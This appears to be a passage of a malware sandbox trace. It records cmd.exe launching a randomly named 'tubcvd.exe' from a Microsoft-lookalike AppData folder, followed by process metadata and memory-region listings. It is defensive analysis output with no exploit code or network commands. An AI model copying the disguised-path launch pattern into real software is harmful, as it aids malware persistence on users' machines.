[0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="DIR") returned -1 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="ERASE") returned -2 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="DEL") returned -1 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="TYPE") returned -17 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="COPY") returned -53 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="CD") returned -42 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="CHDIR") returned -46 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="RENAME") returned -15 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="REN") returned -15 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="ECHO") returned -2 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="SET") returned -16 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="PAUSE") returned -13 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="DATE") returned -1 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="TIME") returned -17 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="PROMPT") returned -13 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="MD") returned -10 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="MKDIR") returned -10 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="RD") returned -15 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="RMDIR") returned -15 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="PATH") returned -13 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="GOTO") returned -4 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="SHIFT") returned -16 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="CLS") returned -50 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="CALL") returned -39 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="VERIFY") returned -19 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="VER") returned -19 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="VOL") returned -19 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="EXIT") returned -2 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="SETLOCAL") returned -16 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="ENDLOCAL") returned -2 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="TITLE") returned -17 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="START") returned -16 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="DPATH") returned -1 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="KEYS") returned -8 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="MOVE") returned -10 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="PUSHD") returned -13 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="POPD") returned -13 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="ASSOC") returned 2 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="FTYPE") returned -3 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="BREAK") returned 1 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="COLOR") returned -53 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="MKLINK") returned -10 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="FOR") returned -3 [0155.675] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="IF") returned -6 [0155.676] _wcsicmp (_String1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", _String2="REM") returned -15 [0155.676] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0155.676] SetErrorMode (uMode=0x0) returned 0x1 [0155.676] SetErrorMode (uMode=0x1) returned 0x0 [0155.676] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\.", nBufferLength=0x208, lpBuffer=0xc081486190, lpFilePart=0xc0812a2f10 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpFilePart=0xc0812a2f10*="Microsoft") returned 0x2f [0155.676] SetErrorMode (uMode=0x1) returned 0x1 [0155.676] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\.") returned 1 [0155.676] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65be08680, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0155.678] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0155.678] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", fInfoLevelId=0x1, lpFindFileData=0xc0812a2c90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc0812a2c90) returned 0xc081486340 [0155.679] FindClose (in: hFindFile=0xc081486340 | out: hFindFile=0xc081486340) returned 1 [0155.679] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0155.679] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0155.679] GetStartupInfoW (in: lpStartupInfo=0xc0812a32d0 | out: lpStartupInfo=0xc0812a32d0*(cb=0x68, lpReserved="", lpDesktop="", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0155.679] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc0812a3228 | out: lpAttributeList=0x0, lpSize=0xc0812a3228) returned 0 [0155.679] GetLastError () returned 0x7a [0155.679] InitializeProcThreadAttributeList (in: lpAttributeList=0xc081486340, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc0812a3228 | out: lpAttributeList=0xc081486340, lpSize=0xc0812a3228) returned 1 [0155.679] UpdateProcThreadAttribute (in: lpAttributeList=0xc081486340, dwFlags=0x0, Attribute=0x60001, lpValue=0xc0812a3230, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc081486340, lpPreviousValue=0x0) returned 1 [0155.679] CreateProcessW (in: lpApplicationName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", lpCommandLine="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80410, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xc0812a3260*(cb=0x70, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x20, hStdOutput=0x24, hStdError=0x28), lpProcessInformation=0xc0812a3240 | out: lpCommandLine="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe ", lpProcessInformation=0xc0812a3240*(hProcess=0x88, hThread=0x84, dwProcessId=0xa5c, dwThreadId=0x89c)) returned 1 [0155.684] DeleteProcThreadAttributeList (in: lpAttributeList=0xc081486340 | out: lpAttributeList=0xc081486340) [0155.684] GetLastError () returned 0x7a [0155.684] ResumeThread (hThread=0x84) returned 0x0 [0155.684] CloseHandle (hObject=0x84) returned 1 [0155.684] CloseHandle (hObject=0x88) returned 1 [0155.684] _get_osfhandle (_FileHandle=1) returned 0x24 [0155.684] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x3) returned 1 [0155.686] _get_osfhandle (_FileHandle=1) returned 0x24 [0155.686] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff65be085ec | out: lpMode=0x7ff65be085ec) returned 1 [0155.686] _get_osfhandle (_FileHandle=0) returned 0x20 [0155.686] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff65be085e8 | out: lpMode=0x7ff65be085e8) returned 1 [0155.686] SetConsoleInputExeNameW () returned 0x1 [0155.686] GetConsoleOutputCP () returned 0x1b5 [0155.686] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65be08640 | out: lpCPInfo=0x7ff65be08640) returned 1 [0155.686] SetThreadUILanguage (LangId=0x0) returned 0x409 [0155.687] exit (_Code=0) Thread: id = 187 os_tid = 0x528 Process: id = "14" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x69f82000" os_pid = "0x68c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x2f0" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5487 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5488 start_va = 0x3675cc0000 end_va = 0x3675cdffff entry_point = 0x0 region_type = private name = "private_0x0000003675cc0000" filename = "" Region: id = 5489 start_va = 0x3675ce0000 end_va = 0x3675cf3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003675ce0000" filename = "" Region: id = 5490 start_va = 0x3675d00000 end_va = 0x3675d3ffff entry_point = 0x0 region_type = private name = "private_0x0000003675d00000" filename = "" Region: id = 5491 start_va = 0x7df5ff1f0000 end_va = 0x7ff5ff1effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff1f0000" filename = "" Region: id = 5492 start_va = 0x7ff707bf0000 end_va = 0x7ff707c12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707bf0000" filename = "" Region: id = 5493 start_va = 0x7ff707c1d000 end_va = 0x7ff707c1efff entry_point = 0x0 region_type = private name = "private_0x00007ff707c1d000" filename = "" Region: id = 5494 start_va = 0x7ff707c1f000 end_va = 0x7ff707c1ffff entry_point = 0x0 region_type = private name = "private_0x00007ff707c1f000" filename = "" Region: id = 5495 start_va = 0x7ff707ed0000 end_va = 0x7ff707ee0fff entry_point = 0x7ff707ed0000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 5496 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5497 start_va = 0x3675ed0000 end_va = 0x3675fcffff entry_point = 0x0 region_type = private name = "private_0x0000003675ed0000" filename = "" Region: id = 5498 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5499 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5500 start_va = 0x3675cc0000 end_va = 0x3675ccffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003675cc0000" filename = "" Region: id = 5501 start_va = 0x3675cd0000 end_va = 0x3675cd6fff entry_point = 0x0 region_type = private name = "private_0x0000003675cd0000" filename = "" Region: id = 5502 start_va = 0x3675d40000 end_va = 0x3675dfdfff entry_point = 0x3675d40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5503 start_va = 0x3675e00000 end_va = 0x3675e3ffff entry_point = 0x0 region_type = private name = "private_0x0000003675e00000" filename = "" Region: id = 5504 start_va = 0x3675e40000 end_va = 0x3675e40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003675e40000" filename = "" Region: id = 5505 start_va = 0x3675e50000 end_va = 0x3675e56fff entry_point = 0x0 region_type = private name = "private_0x0000003675e50000" filename = "" Region: id = 5506 start_va = 0x3675e60000 end_va = 0x3675e60fff entry_point = 0x0 region_type = private name = "private_0x0000003675e60000" filename = "" Region: id = 5507 start_va = 0x3675e70000 end_va = 0x3675e70fff entry_point = 0x0 region_type = private name = "private_0x0000003675e70000" filename = "" Region: id = 5508 start_va = 0x3675fd0000 end_va = 0x3676157fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003675fd0000" filename = "" Region: id = 5509 start_va = 0x3676190000 end_va = 0x367619ffff entry_point = 0x0 region_type = private name = "private_0x0000003676190000" filename = "" Region: id = 5510 start_va = 0x36761a0000 end_va = 0x3676320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000036761a0000" filename = "" Region: id = 5511 start_va = 0x3676330000 end_va = 0x367772ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003676330000" filename = "" Region: id = 5512 start_va = 0x7ff707af0000 end_va = 0x7ff707beffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff707af0000" filename = "" Region: id = 5513 start_va = 0x7ff707c1b000 end_va = 0x7ff707c1cfff entry_point = 0x0 region_type = private name = "private_0x00007ff707c1b000" filename = "" Region: id = 5514 start_va = 0x7ff9e0000000 end_va = 0x7ff9e0052fff entry_point = 0x7ff9e0000000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 5515 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 5516 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5517 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5518 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5519 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5520 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5521 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5522 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5523 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5524 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5525 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5526 start_va = 0x3675e80000 end_va = 0x3675ebffff entry_point = 0x0 region_type = private name = "private_0x0000003675e80000" filename = "" Region: id = 5527 start_va = 0x3675ec0000 end_va = 0x3675ec3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003675ec0000" filename = "" Region: id = 5528 start_va = 0x3676160000 end_va = 0x3676166fff entry_point = 0x0 region_type = private name = "private_0x0000003676160000" filename = "" Region: id = 5529 start_va = 0x3676170000 end_va = 0x3676174fff entry_point = 0x3676170000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 5530 start_va = 0x3676180000 end_va = 0x3676180fff entry_point = 0x3676180000 region_type = mapped_file name = "conhostv2.dll.mui" filename = "\\Windows\\System32\\en-US\\ConhostV2.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\conhostv2.dll.mui") Region: id = 5531 start_va = 0x3677730000 end_va = 0x3677838fff entry_point = 0x0 region_type = private name = "private_0x0000003677730000" filename = "" Region: id = 5532 start_va = 0x3677840000 end_va = 0x3677841fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003677840000" filename = "" Region: id = 5533 start_va = 0x3677850000 end_va = 0x3677850fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003677850000" filename = "" Region: id = 5534 start_va = 0x3677860000 end_va = 0x3677861fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003677860000" filename = "" Region: id = 5535 start_va = 0x3677880000 end_va = 0x367788ffff entry_point = 0x0 region_type = private name = "private_0x0000003677880000" filename = "" Region: id = 5536 start_va = 0x3677890000 end_va = 0x367799ffff entry_point = 0x0 region_type = private name = "private_0x0000003677890000" filename = "" Region: id = 5537 start_va = 0x36779f0000 end_va = 0x36779fffff entry_point = 0x0 region_type = private name = "private_0x00000036779f0000" filename = "" Region: id = 5538 start_va = 0x3677a00000 end_va = 0x3677d36fff entry_point = 0x3677a00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5539 start_va = 0x3677d40000 end_va = 0x3677f51fff entry_point = 0x0 region_type = private name = "private_0x0000003677d40000" filename = "" Region: id = 5540 start_va = 0x3677f60000 end_va = 0x367817efff entry_point = 0x0 region_type = private name = "private_0x0000003677f60000" filename = "" Region: id = 5541 start_va = 0x3678180000 end_va = 0x3678398fff entry_point = 0x0 region_type = private name = "private_0x0000003678180000" filename = "" Region: id = 5542 start_va = 0x36783a0000 end_va = 0x3678457fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000036783a0000" filename = "" Region: id = 5543 start_va = 0x3678460000 end_va = 0x3678655fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000003678460000" filename = "" Region: id = 5544 start_va = 0x7ff707c19000 end_va = 0x7ff707c1afff entry_point = 0x0 region_type = private name = "private_0x00007ff707c19000" filename = "" Region: id = 5545 start_va = 0x7ff9e4530000 end_va = 0x7ff9e47a3fff entry_point = 0x7ff9e4530000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_f41f7b285750ef43\\comctl32.dll") Region: id = 5546 start_va = 0x7ff9e9210000 end_va = 0x7ff9e9231fff entry_point = 0x7ff9e9210000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 5547 start_va = 0x7ff9e9260000 end_va = 0x7ff9e9272fff entry_point = 0x7ff9e9260000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 5548 start_va = 0x7ff9e9a70000 end_va = 0x7ff9e9b05fff entry_point = 0x7ff9e9a70000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 5549 start_va = 0x7ff9ea620000 end_va = 0x7ff9ea677fff entry_point = 0x7ff9ea620000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 5550 start_va = 0x7ff9eb1a0000 end_va = 0x7ff9eb1b2fff entry_point = 0x7ff9eb1a0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 5551 start_va = 0x7ff9eb1c0000 end_va = 0x7ff9eb209fff entry_point = 0x7ff9eb1c0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 5552 start_va = 0x7ff9eb210000 end_va = 0x7ff9eb21efff entry_point = 0x7ff9eb210000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 5553 start_va = 0x7ff9eb520000 end_va = 0x7ff9eb5d2fff entry_point = 0x7ff9eb520000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 5554 start_va = 0x7ff9eb5e0000 end_va = 0x7ff9ebc07fff entry_point = 0x7ff9eb5e0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 5555 start_va = 0x7ff9ec470000 end_va = 0x7ff9ec515fff entry_point = 0x7ff9ec470000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5556 start_va = 0x7ff9ecb70000 end_va = 0x7ff9ee094fff entry_point = 0x7ff9ecb70000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 5557 start_va = 0x7ff9ee660000 end_va = 0x7ff9ee6b0fff entry_point = 0x7ff9ee660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5558 start_va = 0x7ff9eaff0000 end_va = 0x7ff9eb05afff entry_point = 0x7ff9eaff0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Thread: id = 183 os_tid = 0x200 Thread: id = 184 os_tid = 0x350 Thread: id = 185 os_tid = 0x210 Thread: id = 186 os_tid = 0x5f8 Process: id = "15" image_name = "tubcvd.exe" filename = "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe" page_root = "0x69bb9000" os_pid = "0xa5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0x2f0" cmd_line = "C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5568 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5569 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5570 start_va = 0x40000 end_va = 0x53fff 